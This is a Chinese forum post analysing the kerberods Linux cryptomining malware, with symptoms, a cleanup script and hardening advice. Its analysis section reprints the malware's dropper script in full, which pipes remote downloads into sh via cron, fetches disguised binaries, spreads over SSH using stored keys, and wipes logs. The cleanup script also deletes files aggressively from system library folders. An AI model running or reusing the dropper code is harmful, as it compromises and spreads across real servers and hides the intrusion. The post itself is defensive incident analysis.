你的浏览器版本过低,可能导致网站不能正常访问!
为了你能正常使用网站功能,请使用这些浏览器。

Linux服务器感染了kerberods病毒会怎样?

[复制链接]
gaosmile 发布时间:2020-5-3 13:31
一、症状及表现

1、CPU使用率异常,top命令显示CPU统计数数据均为0,利用busybox 查看CPU占用率之后,发现CPU被大量占用。

注:ls top ps等命令已经被病毒的动态链接库劫持,无法正常使用,大家需要下载busybox。

微信图片_20200503131731.jpg

2、crontab 定时任务异常,存在以下内容;

微信图片_20200503131735.jpg

3、后期病毒变异,劫持sshd,导致远程登陆失败,偶尔还会跳出定时任务失败,收到新邮件等问题

微信图片_20200503131745.png

4、 存在异常文件、异常进程以及异常开机项

微信图片_20200503131749.jpg
微信图片_20200503131752.jpg
微信图片_20200503131756.jpg
微信图片_20200503131759.jpg

二、查杀方法

1、断网,停止定时任务服务;
2、查杀病毒主程序,以及保护病毒的其他进程;
3、恢复被劫持的动态链接库和开机服务;
4、重启服务器和服务;

附查杀脚本(根据情况修改)
(脚本参考(http://blog.csdn.net/u010457406/article/details/89328869))
  1. 1 #!/bin/bash
  2.   2 #可以重复执行几次,防止互相拉起导致删除失败
  3. 3
  4.   4 function installBusyBox(){
  5.   5     #参考第一段
  6.   6     busybox|grep BusyBox |grep v
  7.   7 }
  8. 8
  9.   9 function banHosts(){
  10. 10     #删除免密认证,防止继续通过ssh进行扩散,后续需自行恢复,可不执行
  11. 11     busybox echo "" > /root/.ssh/authorized_keys
  12. 12     busybox echo "" > /root/.ssh/id_rsa
  13. 13     busybox echo "" > /root/.ssh/id_rsa.pub
  14. 14     busybox echo "" > /root/.ssh/known_hosts
  15. 15     #busybox echo "" > /root/.ssh/auth
  16. 16     #iptables -I INPUT -p tcp --dport 445 -j DROP
  17. 17     busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com\n0.0.0.0 systemten.org" >> /etc/hosts
  18. 18 }
  19. 19
  20. 20
  21. 21 function fixCron(){
  22. 22     #修复crontab
  23. 23     busybox chattr -i  /etc/cron.d/root  2>/dev/null
  24. 24     busybox rm -f /etc/cron.d/root
  25. 25     busybox chattr -i /var/spool/cron/root  2>/dev/null
  26. 26     busybox rm -f /var/spool/cron/root
  27. 27     busybox chattr -i /var/spool/cron/tomcat  2>/dev/null
  28. 28     busybox rm -f /var/spool/cron/tomcat
  29. 29     busybox chattr -i /var/spool/cron/crontabs/root  2>/dev/null
  30. 30     busybox rm -f /var/spool/cron/crontabs/root
  31. 31     busybox rm -rf /var/spool/cron/tmp.*
  32. 32     busybox rm -rf /var/spool/cron/crontabs
  33. 33     busybox touch /var/spool/cron/root
  34. 34     busybox chattr +i /var/spool/cron/root
  35. 35 }
  36. 36
  37. 37 function killProcess(){
  38. 38     #修复异常进程
  39. 39     #busybox ps -ef | busybox grep -v grep | busybox grep 'khugepageds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
  40. 40     #busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
  41. 41     #busybox ps -ef | busybox grep -v grep | busybox egrep 'kthrotlds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
  42. 42     #busybox ps -ef | busybox grep -v grep | busybox egrep 'kpsmouseds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
  43. 43     #busybox ps -ef | busybox grep -v grep | busybox egrep 'kintegrityds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
  44. 44     busybox ps -ef | busybox grep -v grep | busybox grep '/usr/sbin/kerberods' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null
  45. 45     busybox ps -ef | busybox grep -v grep | busybox grep '/usr/sbin/sshd' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
  46. 46     busybox ps -ef | busybox grep -v grep | busybox egrep '/tmp/kauditds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
  47. 47     busybox ps -ef | busybox grep -v grep | busybox egrep '/tmp/sshd' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9  2>/dev/null
  48. 48     busybox rm -f /tmp/khugepageds
  49. 49     busybox rm -f /tmp/migrationds
  50. 50     busybox rm -f /tmp/sshd
  51. 51     busybox rm -f /tmp/kauditds
  52. 52     busybox rm -f /tmp/migrationds
  53. 53     busybox rm -f /usr/sbin/sshd
  54. 54     busybox rm -f /usr/sbin/kerberods
  55. 55     busybox rm -f /usr/sbin/kthrotlds
  56. 56     busybox rm -f /usr/sbin/kintegrityds
  57. 57     busybox rm -f /usr/sbin/kpsmouseds
  58. 58     busybox find /tmp -mtime -4 -type f | busybox xargs busybox rm -rf
  59. 59 }
  60. 60
  61. 61
  62. 62 function clearLib(){
  63. 63     #修复动态库
  64. 64     busybox chattr -i /etc/ld.so.preload
  65. 65     busybox rm -f /etc/ld.so.preload
  66. 66     busybox rm -f /usr/local/lib/libcryptod.so
  67. 67     busybox rm -f /usr/local/lib/libcset.so
  68. 68     busybox chattr -i /etc/ld.so.preload 2>/dev/null
  69. 69     busybox chattr -i /usr/local/lib/libcryptod.so  2>/dev/null
  70. 70     busybox chattr -i /usr/local/lib/libcset.so 2>/dev/null
  71. 71     busybox find /usr/local/lib/ -mtime -4 -type f| busybox xargs rm -rf
  72. 72     busybox find /lib/ -mtime -4 -type f| busybox xargs rm -rf
  73. 73     busybox find /lib64/ -mtime -4 -type f| busybox xargs rm -rf
  74. 74     busybox rm -f /etc/ld.so.cache
  75. 75     busybox rm -f /etc/ld.so.preload
  76. 76     busybox rm -f /usr/local/lib/libcryptod.so
  77. 77     busybox rm -f /usr/local/lib/libcset.so
  78. 78     busybox rm -rf /usr/local/lib/libdevmapped.so
  79. 79     busybox rm -rf /usr/local/lib/libpamcd.so
  80. 80     busybox rm -rf /usr/local/lib/libdevmapped.so
  81. 81     busybox touch /etc/ld.so.preload
  82. 82     busybox chattr +i /etc/ld.so.preload
  83. 83     ldconfig
  84. 84 }
  85. 85
  86. 86 function clearInit(){
  87. 87     #修复异常开机项
  88. 88     #chkconfig netdns off 2>/dev/null
  89. 89     #chkconfig –del netdns 2>/dev/null
  90. 90     #systemctl disable netdns 2>/dev/null
  91. 91     busybox rm -f /etc/rc.d/init.d/kerberods
  92. 92     busybox rm -f /etc/init.d/netdns
  93. 93     busybox rm -f /etc/rc.d/init.d/kthrotlds
  94. 94     busybox rm -f /etc/rc.d/init.d/kpsmouseds
  95. 95     busybox rm -f /etc/rc.d/init.d/kintegrityds
  96. 96     busybox rm -f /etc/rc3.d/S99netdns
  97. 97     #chkconfig watchdogs off 2>/dev/null
  98. 98     #chkconfig --del watchdogs 2>/dev/null
  99. 99     #chkconfig --del kworker 2>/dev/null
  100. 100     #chkconfig --del netdns 2>/dev/null
  101. 101 }
  102. 102
  103. 103 function recoverOk(){
  104. 104     service crond start
  105. 105     busybox sleep 3
  106. 106     busybox chattr -i /var/spool/cron/root
  107. 107     # 将杀毒进程加入到定时任务中,多次杀毒
  108. 108     echo "*/10 * * * * /root/kerberods_kill.sh" | crontab -
  109. 109     # 恢复被劫持的sshd 服务
  110. 110     #busybox cp ~/sshd_new /usr/sbin/sshd
  111. 111     #service sshd restart
  112. 112     echo "OK,BETTER REBOOT YOUR DEVICE"
  113. 113 }
  114. 114
  115. 115 #先停止crontab服务
  116. 116 echo "1| stop crondtab service!"
  117. 117 service crond stop
  118. 118 #防止病毒继续扩散
  119. 119 echo "2| banHosts!"
  120. 120 banHosts
  121. 121 #清除lib劫持
  122. 122 echo "3| clearLib!"
  123. 123 clearLib
  124. 124 #修复crontab
  125. 125 echo "4| fixCron!"
  126. 126 fixCron
  127. 127 #清理病毒进程
  128. 128 echo "5| killProcess!"
  129. 129 killProcess
  130. 130 #删除异常开机项
  131. 131 echo "6| clearInit! "
  132. 132 clearInit
  133. 133 #重启服务和系统
  134. 134 echo "7| recover!"
  135. 135 recoverOk
复制代码



查杀完成以后重启服务器,发现过段时间,登陆主机,无论本地还是ssh远程登陆,依然会有病毒进程被拉起,观察top里面的进程,并用pstree 回溯进程之间的关系,发现每次用户登陆就会有病毒进程被拉起,怀疑登陆时加载文件存在问题,逐个排查下列文件:

  • /etc/profile,
  • ~/.profile,
  • ~/.bash_login,
  • ~/.bash_profile,
  • ~/.bashrc,
  • /etc/bashrc;


最后终于发现/etc/bashrc 文件被加入了一些似曾相识的语句

微信图片_20200503131802.png

删除并次查杀病毒(重复之前查杀步骤),重启服务器,观察一段时间后不再有病毒程序被拉起,至此病毒被查杀完全。

三、病毒分析

1、感染路径

  • 攻击者通过网络进入第一台被感染的机器(redis未认证漏洞、ssh密码暴力破解登录等)。

  • 第一台感染的机器会读取known_hosts文件,遍历ssh登录,如果是做了免密登录认证,则将直接进行横向传播。


2、病毒主要模块

  • 主恶意程序:kerberods
  • 恶意Hook库:libcryptod.so libcryptod.c
  • 挖矿程序:khugepageds
  • 恶意脚本文件:netdns (用作kerberods的启停等管理)
  • 恶意程序:sshd (劫持sshd服务,每次登陆均可拉起病毒进程)


3、执行顺序

① 执行恶意脚本下载命令

微信图片_20200503131805.png

② 主进程操作

1> 添加至开机启动,以及/etc/bashrc
2> 生成了sshd文件 劫持sshd服务
3> 将netdns文件设置为开机启动
4> 编译libcryptod.c为/usr/local/lib/libcryptod.so
5> 预加载动态链接库,恶意hook关键系统操作函数
6> 修改/etc/cron.d/root文件,增加定时任务
7> 拉起khugepageds挖矿进程

附病毒恶意进程代码
  1. 1 export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
  2. 2
  3. 3 mkdir -p /tmp
  4. 4 chmod 1777 /tmp
  5. 5
  6. 6 echo "* * * * * (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh" | crontab -
  7. 7
  8. 8 ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9
  9. 9 ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9
  10. 10 ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9
  11. 11 ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9
  12. 12 ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9
  13. 13 ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
  14. 14 ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9
  15. 15 ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9
  16. 16 ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9
  17. 17 ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9
  18. 18 ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9
  19. 19 ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9
  20. 20 ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9
  21. 21 ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9
  22. 22 ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9
  23. 23 ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9
  24. 24 ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9
  25. 25 ps -ef|grep -v grep|grep "/tmp/devtool"|awk '{print $2}'|xargs kill -9
  26. 26 ps -ef|grep -v grep|grep "systemctI"|awk '{print $2}'|xargs kill -9
  27. 27 ps -ef|grep -v grep|grep "sustse"|awk '{print $2}'|xargs kill -9
  28. 28 ps -ef|grep -v grep|grep "axgtbc"|awk '{print $2}'|xargs kill -9
  29. 29 ps -ef|grep -v grep|grep "axgtfa"|awk '{print $2}'|xargs kill -9
  30. 30 ps -ef|grep -v grep|grep "6Tx3Wq"|awk '{print $2}'|xargs kill -9
  31. 31 ps -ef|grep -v grep|grep "dblaunchs"|awk '{print $2}'|xargs kill -9
  32. 32 ps -ef|grep -v grep|grep "/boot/vmlinuz"|awk '{print $2}'|xargs kill -9
  33. 33
  34. 34 cd /tmp
  35. 35 touch /usr/local/bin/writeable && cd /usr/local/bin/
  36. 36 touch /usr/libexec/writeable && cd /usr/libexec/
  37. 37 touch /usr/bin/writeable && cd /usr/bin/
  38. 38 rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
  39. 39 export PATH=$PATH:$(pwd)
  40. 40 if [ ! -f "/tmp/.XImunix" ] || [ ! -f "/proc/$(cat /tmp/.XImunix)/io" ]; then
  41. 41     chattr -i sshd
  42. 42     rm -rf sshd
  43. 43     ARCH=$(uname -m)
  44. 44     if [ ${ARCH}x = "x86_64x" ]; then
  45. 45         (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190606/35c4e7c12f6e4f7f801acc86af945d9f.png -o sshd||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190606/35c4e7c12f6e4f7f801acc86af945d9f.png -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL res.cloudinary.com/dqawrdyv5/raw/upload/v1559818933/x64_p0bkci -o sshd||wget --timeout=30 --tries=3 -q res.cloudinary.com/dqawrdyv5/raw/upload/v1559818933/x64_p0bkci -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819210520/7.150351516641309.jpg -o sshd||wget --timeout=30 --tries=3 -q cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819210520/7.150351516641309.jpg -O sshd) && chmod +x sshd
  46. 46     else
  47. 47         (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190606/5fb4627f8ee14557a34697baf8843dfe.png -o sshd||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190606/5fb4627f8ee14557a34697baf8843dfe.png -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL res.cloudinary.com/dqawrdyv5/raw/upload/v1559818942/x32_xohyv5 -o sshd||wget --timeout=30 --tries=3 -q res.cloudinary.com/dqawrdyv5/raw/upload/v1559818942/x32_xohyv5 -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819246800/1.8800013111270863.jpg -o sshd||wget --timeout=30 --tries=3 -q cdn.xiaoduoai.com/cvd/dist/fileUpload/1559819246800/1.8800013111270863.jpg -O sshd) && chmod +x sshd
  48. 48     fi
  49. 49         $(pwd)/sshd || /usr/bin/sshd || /usr/libexec/sshd || /usr/local/bin/sshd || sshd || ./sshd || /tmp/sshd || /usr/local/sbin/sshd
  50. 50 fi
  51. 51
  52. 52 if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  53. 53   for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & done
  54. 54 fi
  55. 55
  56. 56 for file in /home/*
  57. 57 do
  58. 58     if test -d $file
  59. 59     then
  60. 60         if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
  61. 61             for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & done
  62. 62         fi
  63. 63     fi
  64. 64 done
  65. 65
  66. 66 echo 0>/var/spool/mail/root
  67. 67 echo 0>/var/log/wtmp
  68. 68 echo 0>/var/log/secure
  69. 69 echo 0>/var/log/cron
  70. 70 #
复制代码


四、安全防护

1.SSH

① 谨慎做免密登录
② 尽量不使用默认的22端口
③ 增强root密码强度

2.Redis

① 增加授权认证(requirepass参数)
② 尽量使用docker版本(docker pull redis)
③ 隐藏重要的命令


收藏 评论0 发布时间:2020-5-3 13:31

举报

0个回答

所属标签

STM32团队

意法半导体微控制器和微处理器拥有广泛的产品线,包含低成本的8位单片机和基于ARM® Cortex®-M0、M0+、M3、M4、M33、M7及A7内核并具备丰富外设选择的32位微控制器及微处理器


最新内容

关于
我们是谁
投资者关系
意法半导体可持续发展举措
创新与技术
意法半导体官网
联系我们
联系ST分支机构
寻找销售人员和分销渠道
社区
媒体中心
活动与培训
隐私策略
隐私策略
Cookies管理
行使您的权利
官方最新发布
STM32N6 AI生态系统
STM32MCU,MPU高性能GUI
ST ACEPACK电源模块
意法半导体生物传感器
STM32Cube扩展软件包
关注我们
st-img 微信公众号
st-img 手机版